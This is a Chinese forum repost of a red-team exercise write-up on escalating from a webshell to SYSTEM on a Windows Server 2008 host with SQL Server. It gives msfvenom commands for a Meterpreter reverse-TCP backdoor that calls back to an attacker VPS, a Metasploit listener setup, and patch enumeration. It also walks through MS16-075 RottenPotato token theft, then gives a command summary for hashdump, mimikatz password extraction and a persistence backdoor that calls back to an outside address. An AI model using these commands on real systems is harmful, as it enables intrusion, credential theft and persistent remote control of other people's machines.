搜索

[21039] 2020-05-18_记一次HW实战笔记艰难的提权爬坑

文档创建者：s7ckTeam
浏览次数：5
最后更新：2025-01-18
2020-05-18_记一次HW实战笔记艰难的提权爬坑 记 一 次 H W 实 战 笔 记   |   艰 难 的 提 权 爬 坑 L e m o n S e c   2 0 2 0 - 0 5 - 1 8     在 昨 天 小 伙 伴 文 章 进 行 了 流 程 上 的 完 善 ， 对 整 个 过 程 进 行 了 总 结 。 0 x 0 0   前 言 前 言 通 过 注 入 点 拿 到 网 站 的 w e b s h e l l 权 限 数 据 库 是 s q l   s e r v e r   2 0 0 8 的 D i r 查 看 目 录 M e t e r p r e t e r 自 动 提 权 w m i c 对 目 标 系 统 进 行 漏 洞 补 丁 更 新 情 况 查 看 m s f 反 弹 进 行 补 丁 枚 举 w i n d o w s - e x p l o i t - s u g g e s t e r . p y 进 行 补 丁 漏 洞 审 计 溢 出 漏 洞 模 块 提 权 利 用 M S 1 6 - 0 1 6 进 行 m e t e r p r t e r 提 权 . . . . . . . 利 用 M S 1 6 - 0 7 5 提 权 （ 烂 土 豆 ）
找 到 目 录 写 文 件 （ 省 略 截 图 ） 。 发 现 没 有 写 权 限 ， 尝 试 e c h o 。 成 功 写 入 并 连 接 查 看 补 丁 情 况
0 x 0 1   生 成 后 门 程 序 生 成 后 门 程 序 我 是 在 v p s 的 命 令 行 下 直 接 执 行 以 下 命 令 获 得 一 个 针 对 w i n d o w s 的 反 弹 型 木 马 ： 这 里 我 们 为 生 成 的 木 马 指 定 了 p a y l o a d 为 ： w i n d o w s / m e t e r p r e t e r / r e v e r s e _ t c p , 反 弹 到 的 监 听 端 地 址 为 1 7 2 . 1 6 . x . x ， 监 听 端 口 为 4 4 4 4 ， 文 件 输 出 格 式 为 e x e 并 保 存 到 路 径 / t m p / h a c k . e x e 将 生 成 的 木 马 上 传 并 执 行 0 x 0 2   执 行 监 听 执 行 监 听 输 入 e x p l o i t 命 令 开 启 我 们 配 置 的 模 块 进 行 监 听 ：           那 么 在 执 行 之 后 ， 我 们 看 到 大 型 脚 本 木 马 显 示 为 请 稍 后 的 状 态 ， 我 们 切 换 到 之 前 监 听 的 M e t a s p l o i t 命 令 行 窗 口 ， 可 以 看 到 ， 目 标 机 正 在 回 连 ， 且 M e t e r p r e t e r 会 话 创 建 成 功 ： m s f v e n o m   - p   w i n d o w s / m e t e r p r e t e r / r e v e r s e _ t c p   l h o s t = 1 7 2 . 1 6 . x . x   l p o r t = 4 4 4 4   - f   e x e   - o   / t m p / h a c k . e x e u s e   e x p l o i t / m u l t i / h a n d l e r s e t   p a y l o a d   w i n d o w s / m e t e r p r e t e r / r e v e r s e _ t c p s e t   L H O S T   v p s 地 址 ( 1 7 2 . 1 6 . x . x ) s h o w   o p t i o n s
m s 1 6 - 0 7 5 漏 洞 简 介 及 利 用 前 提 漏 洞 简 介 及 利 用 前 提 1 . m s 1 6 - 0 7 5 漏 洞 简 介 W i n d o w s   S M B   服 务 器 特 权 提 升 漏 洞 （ C V E 漏 洞 编 号 ： C V E - 2 0 1 6 - 3 2 2 5 ） 当 攻 击 者 转 发 适 用 于 在 同 一 计 算 机 上 运 行 的 其 他 服 务 的 身 份 验 证 请 求 时 ， M i c r o s o f t   服 务 器 消 息 块   ( S M B )   中 存 在 特 权 提 升 漏 洞 ， 成 功 利 用 此 漏 洞 的 攻 击 者 可 以 使 用 提 升 的 特 权 执 行 任 意 代 码 。 若 要 利 用 此 漏 洞 ， 攻 击 者 首 先 必 须 登 录 系 统 。 然 后 ， 攻 击 者 可 以 运 行 一 个 为 利 用 此 漏 洞 而 经 特 殊 设 计 的 应 用 程 序 ， 从 而 控 制 受 影 响 的 系 统 。 此 更 新 通 过 更 正 W i n d o w s 服 务 器 消 息 块   ( S M B )   服 务 器 处 理 凭 据 转 发 请 求 的 方 式 来 修 复 此 漏 洞 。 微 软 将 其 定 义 为 K B 3 1 6 4 0 3 8 ， 有 关 该 漏 洞 的 详 细 介 绍 请 参 阅 其 网 页 ： h t t p s : / / d o c s . m i c r o s o f t . c o m / z h - c n / s e c u r i t y - u p d a t e s / S e c u r i t y b u l l e t i n s / 2 0 1 6 / m s 1 6 - 0 7 5 。 2 . w m i c 对 目 标 系 统 进 行 漏 洞 补 丁 更 新 情 况 查 看 3 . m s f 反 弹 进 行 补 丁 枚 举 4 .   w i n d o w s - e x p l o i t - s u g g e s t e r . p y 进 行 补 丁 漏 洞 审 计 （ 1 ） w m i c 查 看 所 有 补 丁 安 装 情 况 w m i c   q f e   g e t C a p t i o n , D e s c r i p t i o n , H o t F i x I D , I n s t a l l e d O n （ 2 ） 查 找 具 体 漏 洞 号 的 信 息 w m i c   q f e   g e t C a p t i o n , D e s c r i p t i o n , H o t F i x I D , I n s t a l l e d O n   |   f i n d s t r   / C : " K B 3 1 3 6 0 4 1 " / C : " K B 4 0 1 8 4 8 3 " （ 1 ） 使 用 模 块 p o s t / w i n d o w s / g a t h e r / e n u m _ p a t c h e s u s e   p o s t / w i n d o w s / g a t h e r / e n u m _ p a t c h e s （ 2 ） 设 置 会 话 使 用 s e s s i o n s     - l 命 令 查 看 会 话 ， 加 入 只 有 一 个 会 话 ， 其 i d 为 1 ， 则 使 用 s e t   s e s s i o n 1 设 置 为 当 前 会 话 。 （ 3 ） 设 置 漏 洞 K B 号 。 s e t   k b   " K B 3 1 3 6 0 4 1 " , " K B 4 0 1 8 4 8 3 " , " K B 3 1 4 3 1 4 1 " （ 4 ） 执 行 枚 举 r u n （ 1 ） s y s t e m i n f o 生 成 文 件 s y s t e m i n f o   > w i n 2 0 0 8 . t x t （ 2 ） 下 载 w i n d o w s - e x p l o i t - s u g g e s t e r . p y h t t p s : / / g i t h u b . c o m / G D S S e c u r i t y / W i n d o w s - E x p l o i t - S u g g e s t e r （ 3 ） 安 装 x l r d 模 块   p i p i n s t a l l   x l r d   - - u p g r a d e （ 4 ） 更 新 w i n d o w s - e x p l o i t - s u g g e s t e r w i n d o w s - e x p l o i t - s u g g e s t e r . p y   - u   上 面 命 令 会 生 成 一 个 以 当 天 日 期 的 文 件 ， 例 如 2 0 1 8 - 0 6 - 0 7 - m s s b . x l s 。 （ 5 ） 执 行 漏 洞 审 计 w i n d o w s - e x p l o i t - s u g g e s t e r . p y     - - a u d i t   - l   - - d a t a b a s e   2 0 1 8 - 0 6 - 0 7 - m s s b . x l s - - s y s t e m i n f o   1 . t x t   > w i n 2 0 0 8 - d a y . t x t
（ 补 丁 分 析 未 留 截 图 ， 以 上 只 是 简 单 详 述 补 丁 分 析 方 式 ） 0 x 0 3   使 用 使 用 P o t a t o ( 烂 土 豆 烂 土 豆 )   窃 取 窃 取 s y s t e m   令 牌 并 模 仿 令 牌 令 牌 并 模 仿 令 牌     在 反 弹 的 m e t e r p r e t e r 中 分 别 执 行 g e t u i d 及 g e t s y s t e m 命 令 查 看 当 前 用 户 的 权 限 及 进 行 提 权 ， 结 果 显 示 使 用 m s f 自 带 的 提 权 方 法 提 权 失 败 。 M S 1 6 - 0 7 5 ( 烂 土 豆 烂 土 豆 ) : h t t p s : / / g i t h u b . c o m / f o x g l o v e s e c / R o t t e n P o t a t o 1 .   先 g e t u i d 看 看 自 己 的 当 前 i d ， 可 以 看 到 只 是 n e t w o r k 服 务 2 .   然 后 加 载 窃 取 令 牌 的 模 块 这 个 模 块 是 用 来 窃 取 令 牌 、 模 仿 令 牌 的 。 令 牌 就 相 当 于 C o o k i e 。 W i n d o w s 中 有 两 种 令 牌 ， 一 种 是 D e l e g a t i o n   T o k e n ， 是 为 交 互 式 登 录 （ 比 如 登 录 进 系 统 或 者 通 过 远 程 桌 面 连 接 到 系 统 ） 创 建 的 。 另 一 种 是 I m p e r s o n m a t e   T o k e n （ 模 仿 令 牌 ） ， 它 是 为 非 交 互 式 会 话 创 建 的 。 3 .   列 出 当 前 令 牌 ( 这 是 已 经 提 权 之 后 的 ， 之 前 的 截 图 找 不 到 了 )             在 m e t e r p r e t e r 中 执 行 u p l o a d   p o t a t o . e x e 命 令 ， m e t e r p r e t e r 会 将 p o t a t o 文 件 直 接 上 传 到 反 弹 s h e l l 所 在 的 目 录 下 。 以 下 我 们 使 用 冰 蝎 进 行 的 上 传 。 4 .   冰 蝎 上 传 p o t a t o ， 然 后 进 入 自 己 放 p o t a t o 的 目 录 ， 执 行 E X P 2 0 1 8 - 0 6 - 0 7 - m s s b . x l s 跟 前 面 生 成 的 文 件 名 称 一 致 ， w i n 2 0 0 8 - d a y . t x t 即 为 漏 洞 审 计 情 况 。 m s f 下 提 权 命 令 利 用 程 序 。 （ 1 ） u p l o a d p o t a t o . e x e （ 2 ） u s e   i n c o g n i t o （ 3 ） l i s t _ t o k e n s   - u （ 4 ） e x e c u t e   - c H   - f . / p o t a t o . e x e （ 5 ） l i s t _ t o k e n s   - u （ 6 ） i m p e r s o n a t e _ t o k e n " N T   A U T H O R I T Y S Y S T E M " （ 7 ） g e t u i d u s e   i n c o g n i t o     / /     用 来 窃 取 令 牌 、 模 仿 令 牌 l i s t _ t o k e n s   - u       / / 可 以 看 到 当 前 有 一 个 “ 代 表 令 牌 ” e x e c u t e   - c H   - f   . / p o t a t o . e x e
5 .   再 l i s t _ t o k e n s 看 一 下 ,   可 以 看 到 当 前 是 有 了 一 个 S Y S T E M 权 限 的   可 以 模 仿 令 牌 6 .   然 后 执 行 窃 取 令 牌 的 命 令 注 意 这 里 反 斜 线 是 两 个 。 第 一 次 执 行 提 示 没 找 到 这 个 用 户 令 牌 。 这 个 原 因 我 估 计 是 令 牌 失 效 了 ， 就 跟 C o o k i e 失 效 一 样 。 所 以 再 执 行 一 次 E X P ， 然 后 按 ↑ 键 重 复 i m p e r s o n a t e _ t o k e n 几 次 命 令 。 可 以 看 到 第 二 次 是 成 功 模 仿 了 用 户 " N T   A U T H O R I T Y S Y S T E M " 。 7 .   g e t u i d 看 下 自 己 的 当 前 用 户 I D ， 可 以 看 到 是 S Y S T E M   。 使 用 s h e l l 命 令 获 得 一 个 交 互 式 c m d   s h e l l ， w h o a m i   也 是 成 功 了 到 这 里 就 提 权 成 功 了 ， 然 后 可 以 进 一 步 横 向 利 用 。 0 x 0 4   E X P 原 理 浅 析 原 理 浅 析 R o t t e n P o t a t o （ 烂 土 豆 ） 提 权 的 原 理 可 以 简 述 如 下 : 1 . 欺 骗   “ N T   A U T H O R I T Y S Y S T E M ” 账 户 通 过 N T L M 认 证 到 我 们 控 制 的 T C P 终 端 。 2 . 对 这 个 认 证 过 程 使 用 中 间 人 攻 击 （ N T L M 重 放 ） ， 为 “ N T   A U T H O R I T Y S Y S T E M ” 账 户 本 地 协 商 一 个 安 全 令 牌 。 这 个 过 程 是 通 过 一 系 列 的 W i n d o w s   A P I 调 用 实 现 的 。 3 . 模 仿 这 个 令 牌 。 只 有 具 有 “ 模 仿 安 全 令 牌 权 限 ” 的 账 户 才 能 去 模 仿 别 人 的 令 牌 。 一 般 大 多 数 的 服 务 型 账 户 （ I I S 、 M S S Q L 等 ） 有 这 个 权 限 ， 大 多 数 用 户 级 的 账 户 没 有 这 个 权 限 。 访 问 令 牌 是 什 么 ？ 它 是 一 种 用 来 描 述 W i n d o w s 进 程 或 线 程 安 全 状 态 的 对 象 ， 它 跟 会 话 C o o k i e 有 些 类 似 。 而 我 们 所 需 要 的 就 是 一 个 拥 有 相 应 权 限 的 进 程 。 一 般 来 说 ， 用 户 所 运 行 的 S Q L   s e r v e r 服 务 或 者 I S S 服 务 都 会 拥 有 这 种 权 限 ， 所 以 如 果 我 们 能 够 拿 到 这 些 系 统 中 的 S h e l l 或 者 在 其 中 实 现 命 令 执 行 ， 那 我 们 就 成 功 了 一 半 了 。 更 加 搞 笑 的 是 ， 微 软 并 没 有 修 复 这 个 安 全 问 题 ， 可 能 他 们 认 为 这 也 是 一 种 “ 专 门 设 计 的 功 能 ” 吧 … 所 以 ， 一 般 从 w e b 拿 到 的 w e b s h e l l 都 是 I I S 服 务 器 权 限 ， 是 具 有 这 个 模 仿 权 限 的 。 测 试 过 程 中 ， 发 现 使 用 已 经 建 好 的 账 户 去 反 弹 m e t e r p r e t e r 然 后 再 去 执 行 E X P 的 时 候 会 失 败 ， 但 使 用 菜 刀 、 冰 蝎 （ I I S 服 务 器 权 限 ） 反 弹 m e t e r p r e t e r 就 会 成 功 。 烂 土 豆 比 热 土 豆 的 优 点 是 ： i m p e r s o n a t e _ t o k e n   " N T   A U T H O R I T Y S Y S T E M "     / / 这 里 需 要 注 意 一 点 就 是 反 斜 线 是 两 个 。 1 0 0 % 可 靠 （ 当 时 ） 全 版 本 通 杀 。 立 即 生 效 ， 不 用 像 h o t     p o t a t o 那 样 有 时 候 需 要 等 W i n d o w s 更 新 才 能 使 用 。
进 行 m s 1 6 - 0 7 5 提 权 及 相 关 命 令 总 结 1 . m s 1 6 - 0 7 5 提 权 命 令 u p l o a d   p o t a t o . e x e u s e   i n c o g n i t o l i s t _ t o k e n s   - u e x e c u t e   - c H   - f   . / p o t a t o . e x e l i s t _ t o k e n s   - u i m p e r s o n a t e _ t o k e n   " N T   A U T H O R I T Y S Y S T E M " g e t u i d 2 . 获 取 密 码 哈 希 值 r u n   h a s h d u m p 3 . m i m i k a t z 进 行 密 码 获 取 l o a d   m i m i k a t z k e r b e r o s 、 l i v e s s p 、 m s v 、 s s p 、 t s p k g 、 w d i g e s t （ 逐 个 命 令 测 试 ， 有 的 会 显 示 明 文 密 码 ） m i m i k a t z _ c o m m a n d ： m i m i k a t z 命 令 提 示 窗 口   m i m i k a t z _ c o m m a n d   - f   s e k u r l s a : : w d i g e s t   - a " f u l l "   m i m i k a t z _ c o m m a n d   - f   s e k u r l s a : : l o g o n p a s s w o r d s 4 . 远 程 终 端 端 口 查 看 命 令 t a s k l i s t   / s v c   |   f i n d " T e r m S e r v i c e " n e t s t a t   - a n o   |   f i n d   " 2 8 7 2 " 5 . 持 久 化 攻 击 r u n   p e r s i s t e n c e   - X   - i   5 0   - p   4 4 3 3   - r   1 9 2 . 1 6 8 . 1 . 3 3 0 x 0 5   参 考 链 接 参 考 链 接 h t t p : / / h a c k e r g u . c o m / p o w e r u p - s t e a l t o k e n - r o t t e n p o t a t o / h t t p s : / / w w w . c n b l o g s . c o m / b a c k l i o n / p / 9 4 8 4 9 5 0 . h t m l h t t p s : / / w w w . c n b l o g s . c o m / h o o k j o y / p / 1 2 4 6 0 0 8 9 . h t m l
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理